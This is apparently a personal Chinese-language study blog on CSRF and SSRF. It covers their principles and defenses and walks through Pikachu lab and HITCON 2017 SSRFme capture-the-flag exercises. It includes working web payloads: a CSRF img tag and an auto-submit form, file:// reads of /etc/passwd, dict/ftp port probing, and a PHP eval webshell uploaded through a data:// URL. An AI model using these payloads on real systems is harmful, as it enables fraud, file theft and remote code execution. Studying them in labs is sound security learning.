开新内容了开新内容了!


CSRF漏洞原理攻击与防御

CSRF简介

CSRF攻击全称为跨站请求伪造(Cross-Site Request Forgery),是一种利用用户在目标网站上的身份验证信息,通过伪造用户请求来执行恶意操作的网络攻击方式。攻击者通常会通过社交工程手段,诱导用户在已登录的网站上执行恶意请求,如转账、发邮件等。

简单来说就是盗用用户的身份 用用户的身份进行操作

CSRF 的工作原理

CSRF为什么能够攻击成功?

其本质原因是重要操作的所有参数都是可以被攻击者猜测到的。

攻击者只有预测出URL的所有参数与参数值,才能成功地构造一个伪造的请求;反之,攻击者将无法攻击成功。

image-20250714100824258

image-20250714101143233好的我们来理解一下这个图

1.如果要完成一次CSRF攻击 受害者c需要完成的两个步骤

登录一个受信任的站点(A)在本地生成自己的cookie 然后在不登出A的条件下 访问危险站点B

2.分析步骤

1
2
3
4
5
6
7
8
9
10
11
客户端(用户)访问网站A;

这个时候A会验证用户的账号密码 成功验证就会生成一个sessionid 同时返回给客户端存储起来

然后我的用户点开了另一个网站B(注意没有关闭网站A)

B会自动要求客户端访问A

用户通过B进入A(这个时候用户是有合法的sessionid的)

A此时只需要验证这个sessionid是否合法 合法就可以执行操作了

漏洞形成条件

CSRF 攻击建立在会话下 欺骗用户访问 url

登录受信任网站A,并在本地生成Cookie。
在不登出A的情况下,访问危险网站B。

这样看完漏洞原理并不难理解 同时这个漏洞比其他的也好防御

注意:

CSRF 攻击是攻击者通过受害者的 cookie 骗取服务器的信任,但是攻击者并没有获取到 Cookie,也看不到 Cookie 信息。另外,由于浏览器同源策略的限制,黑客无法从返回的结果中得到任何信息CSRF 所能做的就是给服务器发送请求

CSRF分类

GET类型的CSRF

仅仅一个HTTP请求。就能够构造一次简单的CSRF。

ok现在我有一个银行的网站

1
http://www.mybank.com/Transfer.php?toBankId=11&money=1000 

然后这个是危险站点b 它里面有一段危险代码

1
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

哈哈如果你这个时候在a网站访问b 你就会发现你账户少了1000r

为什么会这样呢?原因是银行站点A违反了HTTP规范 使用GET请求更新资源

所以你的浏览器会带上你的银行站点A的Cookie发出Get请求,去获取资源以GET的方式请求第三方资源(这里的第三方就是指银行站点了)

POST类型的CSRF

刚开始有这个漏洞的时候好多人以为只能用GET请求 所以有些错误的观点就觉得只要用POST请求就可以

在普通用户的眼中,点击网页->打开试看视频->购买视频是一个很正常的一个流程。可是在攻击者的眼中可以算正常但又不正常的,当然不正常的情况下,是在开发者安全意识不足所造成的。攻击者在购买处抓到购买时候网站处理购买(扣除)用户余额的地址。

1
/coures/user/handler666buy.php</font>

通过提交表单,buy.php处理购买的信息,这里的666为视频ID。那么攻击者现在构造一个链接,链接中包含以下内容。

1
2
3
4
form action=/coures/user/handler/666/buy method=POST>
input type="text" name="xx" value="xx" />
/form>
script> document.forms[0].submit(); /script>

当用户访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作,自动购买了id为666的视频,从而导致受害者余额扣除。

CSRF漏洞的挖掘

1.最简单的方法就是抓包 如果没有referer字段和token 那么就可能存在csrf漏洞

2.如果有referer字段 去掉Referer字段后再重新提交 如果该提交还有效 那么基本上可以确定存在CSRF漏洞。

3.工具

防御

验证码

(一)使用 Token 验证

在请求地址中添加token:

可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

同:在服务器端生成一个随机且难以预测的token,并将其包含在用户的每个重要请求中(如修改密码、提交重要数据等)。当服务器接收到请求时,检查token的有效性。如果token无效或不存在,服务器拒绝执行请求。

(二)检查 Referer 字段

服务器端检查请求的Referer字段,确保请求来源于合法的页面

将Cookie的SameSite属性设置为Strict或Lax。SameSite=Strict表示浏览器只会在同源请求时发送Cookie,可以完全阻止 CSRF 攻击,但可能会影响一些跨站功能的正常使用;SameSite=Lax相对宽松一些,允许在一些安全的跨站导航(如从搜索引擎点击链接进入网站)场景下发送Cookie,在一定程度上既保证了安全性,又不会对正常功能造成太大影响。

区别

CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

实战(pikachu靶场)

Get

登陆进去之后 有修改信息的界面 抓包能看到是这样的

image-20250714210852438

有个验证方法是你把referer请求删掉再发包 如果还能改就说明肯定有csrf 因为服务端没有做任何 Referer 校验

看出来是get请求 直接修改get参数就行了

Post

image-20250714211713694

这个也一样 很明显是post

不过URL不再显示修改参数,所以无法再使用上述办法(即通过URL来伪造请求)进行修改

此时可以通过构造恶意站点 将post请求隐藏在站点表单

我上午写的笔记没了 好不容易找回来了少了一截(骂骂咧咧)

Token

每次访问页面的时候,在后端生成一个token然后存放在SESSION中。
并且将token渲染到表单中。
然后提交表单的时候,就会携带这个token,后端接受到这个token的时候和session中的token进行对比
如果一致:请求合法
如果不一致:请求失效

SSRF漏洞原理攻击与防御

SSRF攻击可能存在任何语言编写的应用

SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

​ 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

​ 数据流:攻击者—–>服务器—->目标地址

​ 根据后台使用的函数的不同,对应的影响和利用方法又有不一样

1
2
3
4
5
//PHP中下面函数的使用不当会导致SSRF:
//file_get_contents()
//fsockopen()
//curl_exec()

​ 如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤

image-20250715175252214

SSRF支持的协议

Dict:// file:// sftp:// ldap:// gopher:// ftp:// http:// 等.

pikachu靶场

image-20250715180841497

好诡异的界面我说。。。。

这个就是请求的协议可以改

hello SSRF

level1

image-20250715182632831

补充一点东西

file协议

file:// 也就是file协议,其用法为 file://+file_path 该协议会输出对应文件的内容。

在ssrf攻击所在的内网中,其主要用于一部分信息的收集:

1
2
3
4
file:///etc/passwd        # 读取文件passwd
file:///etc/hosts # 显示当前操作系统网卡的IP
file:///proc/net/arp # 显示arp缓存表(寻找内网其他主机)
file:///proc/net/fib_trie # 显示当前网段路由信息
dict / ftp 协议

ftp 在SSRF中也常用于端口扫描,在遇到打开的端口时,响应速度会明显变慢。

1
2
ftp://ip:prot
.Eg ftp://127.0.0.1:5001

dict协议用于访问字典服务资源,可用于内网端口探测,响应速度较快。

1
2
dict://ip:prot
.Eg dict://127.0.0.1:5001

此外 dict 在 ssrf 中还可以用来攻击redis服务,这些我们会在后面遇到。

gopher 协议

gopher协议支持发出GET、POST请求,是ssrf利用中最强大的协议。

1
gopher://<host>:<port>/<gopher-path>_<发送的TCP数据>
http 协议
  • 超文本传输协议,因特网最常见的协议,可以直接用于发起get请求。
sftp / tftp 协议
  • 更安全的文件传输协议 / 简单文件传输协议。
ldap 协议
  • 轻量级目录访问协议用于访问和操作目录服务。

level2

image-20250717161530147

探测端口

image-20250717162347676

不er 总不能让我一个一个看响应吧

有的长度非常长 点进去就有flag了

level3

image-20250717163216340

好的我们来看一下这个gopher协议

gopher协议

gopher 协议是一个在http 协议诞生前用来访问Internet 资源的协议可以理解为http 协议的前身或简化版,虽然很古老但现在很多库还支持gopher 协议而且gopher 协议功能很强大。
它可以实现多个数据包整合发送,然后gopher 服务器将多个数据包捆绑着发送到客户端,这就是它的菜单响应。比如使用一条gopher 协议的curl 命令就能操作mysql 数据库或完成对redis 的攻击等等。
gopher 协议使用tcp 可靠连接。

image-20250717172703040

前面有个占位符

gopher://127.0.0.1:81/-挖挖

写不下去了我要直接写题

【HITCON 2017】SSRFme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);

#sandbox/50d5f583d8a911dde39156ba3f03c3d5
@mkdir($sandbox);
@chdir($sandbox); #更改当前工作目录

$data = shell_exec("GET " . escapeshellarg($_GET["url"])); #escapeshellarg转义危险字符
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

每天往这一坐就是代码审计

返回了我自己的ip然后又与orange进行拼接形成一个新的ip 并且进行md5加密

之后调用GET来执行从url中获取到的参数 然后把GET获取到的结果写入到filename中我们新建的文件中

我的思路到这里就结束了

然后去网上看博客 看不懂。。。。。。。。。。。。。。。。。。。。。。。。。。。

我不理解为什么我的没有回显

用的一个非预期出来的

由于文件中存在file_put_contents,我们考虑伪协议上传一句话木马

1
?url=data://text/plain,<?php eval($_POST[1]);?>&filename=flag.php

然后用yijian连接

image-20250717183120957

这个点进去

是乱码!!!!!!!!!!!!!!!!!1

image-20250717183218114

用命令行打开读取!!

image-20250717183231054

flag{8d242a3b-d4e0-457a-9d6e-e1f65a44f512}

好的我们来看一下标准解法

结合上面代码审计得到的 就是我输入的url会被存到filename的那个文件里面

所以构造?url=/&filename=aaa(name等于什么都可以 就是一个文件夹的命名)

然后访问的时候要注意 因为是存在那个沙盒里面的 沙盒的路径是orange和地址的md5加密值

拼接之后去访问路径

image-20250717200831211

ok能看到这两个文件里都有flag 下一步就是考虑怎么样去读取内容了

image-20250717201843216

没懂为什么这样构造哈